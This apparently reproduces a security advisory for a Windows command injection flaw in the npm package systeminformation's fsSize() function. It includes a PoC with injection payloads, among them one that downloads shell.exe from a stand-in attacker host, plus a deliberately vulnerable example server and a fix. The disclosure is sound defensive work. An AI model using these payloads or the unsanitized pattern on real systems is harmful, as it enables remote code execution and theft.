GHSA-wphj-fx3q-84ch
HIGHsysteminformation has a Command Injection vulnerability in fsSize() function on Windows
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
systeminformationnpmDescription
Summary
The fsSize() function in systeminformation is vulnerable to OS Command Injection (CWE-78) on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.
Affected Platforms: Windows only
CVSS Breakdown:
- Attack Vector (AV:N): Network - if used in a web application/API
- Attack Complexity (AC:H): High - requires application to pass user input to
fsSize() - Privileges Required (PR:N): None - no authentication required at library level
- User Interaction (UI:N): None
- Scope (S:U): Unchanged - executes within Node.js process context
- Confidentiality/Integrity/Availability (C:H/I:H/A:H): High impact if exploited
Note: The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to
fsSize(), it is not vulnerable.
Details
Vulnerable Code Location
File: lib/filesystem.js, Line 197
if (_windows) {
try {
const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
util.powerShell(cmd).then((stdout, error) => {
The drive parameter is concatenated directly into the PowerShell command string without any sanitization.
Why This Is a Vulnerability
This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using util.sanitizeShellString():
| File | Line | Function | Sanitization |
|---|---|---|---|
lib/processes.js | 141 | services() | ✅ util.sanitizeShellString(srv) |
lib/processes.js | 1006 | processLoad() | ✅ util.sanitizeShellString(proc) |
lib/network.js | 1253 | networkStats() | ✅ util.sanitizeShellString(iface) |
lib/docker.js | 472 | dockerContainerStats() | ✅ util.sanitizeShellString(containerIDs, true) |
lib/filesystem.js | 197 | fsSize() | ❌ No sanitization |
The sanitizeShellString() function (defined at lib/util.js:731) removes dangerous characters like ;, &, |, $, `, #, etc., which would prevent command injection.
PoC
Attack Scenario
An application exposes disk information via an API and passes user input to si.fsSize():
// Vulnerable application example
const si = require('systeminformation');
const http = require('http');
const url = require('url');
http.createServer(async (req, res) => {
const parsedUrl = url.parse(req.url, true);
const drive = parsedUrl.query.drive; // User-controlled input
// VULNERABLE: User input passed directly to fsSize()
const diskInfo = await si.fsSize(drive);
res.end(JSON.stringify(diskInfo));
}).listen(3000);
Exploitation
Normal Request:
GET /api/disk?drive=C:
Malicious Request (Command Injection):
GET /api/disk?drive=C:;%20whoami%20%23
Command Construction Demonstration
The following demonstrates how commands are constructed with malicious input:
Normal usage:
Input: "C:"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl
With injection payload C:; whoami #:
Input: "C:; whoami #"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
↑ ↑
semicolon terminates # comments out rest
first command
PowerShell will execute:
Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C:(original command)whoami(injected command)- Everything after
#is commented out
PoC Script
/**
* Command Injection PoC - systeminformation fsSize()
*
* Run with: node poc.js
* Requires: npm install systeminformation
*/
const os = require('os');
// Simulates the vulnerable command construction from filesystem.js:197
function simulateVulnerableCommand(drive) {
const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
return cmd;
}
// Test payloads
const payloads = [
{ name: 'Normal', input: 'C:' },
{ name: 'Command Execution', input: 'C:; whoami #' },
{ name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\temp\\procs.txt #' },
{ name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #' },
];
console.log('=== Command Injection PoC ===\n');
console.log(`Platform: ${os.platform()}`);
console.log(`Note: Actual exploitation requires Windows\n`);
payloads.forEach(p => {
console.log(`[${p.name}]`);
console.log(` Input: ${p.input}`);
console.log(` Command: ${simulateVulnerableCommand(p.input)}\n`);
});
PoC Output
=== Command Injection PoC ===
Platform: win32
Note: Actual exploitation requires Windows
[Normal]
Input: C:
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl
[Command Execution]
Input: C:; whoami #
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
[Data Exfiltration]
Input: C:; Get-Process | Out-File C:\temp\procs.txt #
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\temp\procs.txt # | fl
[Remote Payload]
Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe #
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # | fl
As shown, the attacker's commands are injected directly into the PowerShell command string.
Impact
Who Is Affected?
- Applications running
systeminformationon Windows that pass user-controlled input tofsSize(drive) - Web applications, APIs, or CLI tools that accept drive letters from users
- Monitoring dashboards that allow users to specify which drives to query
Potential Attack Scenarios
- Remote Code Execution (RCE) - Execute arbitrary commands with Node.js process privileges
- Data Exfiltration - Read sensitive files and exfiltrate data
- Privilege Escalation - If Node.js runs with elevated privileges
- Lateral Movement - Use the compromised system to attack internal network
- Ransomware Deployment - Download and execute malicious payloads
Recommended Fix
Apply util.sanitizeShellString() to the drive parameter, consistent with other functions in the codebase:
if (_windows) {
try {
+ const driveSanitized = drive ? util.sanitizeShellString(drive, true) : '';
- const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
+ const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl`;
util.powerShell(cmd).then((stdout, error) => {
The true parameter enables strict mode which removes additional characters like spaces and parentheses.
systeminformation thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | systeminformation | all versions | 5.27.14 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for systeminformation. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update systeminformation to 5.27.14 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wphj-fx3q-84ch is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-wphj-fx3q-84ch is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-wphj-fx3q-84ch. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-wphj-fx3q-84ch in your dependencies?
O3 detects GHSA-wphj-fx3q-84ch across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.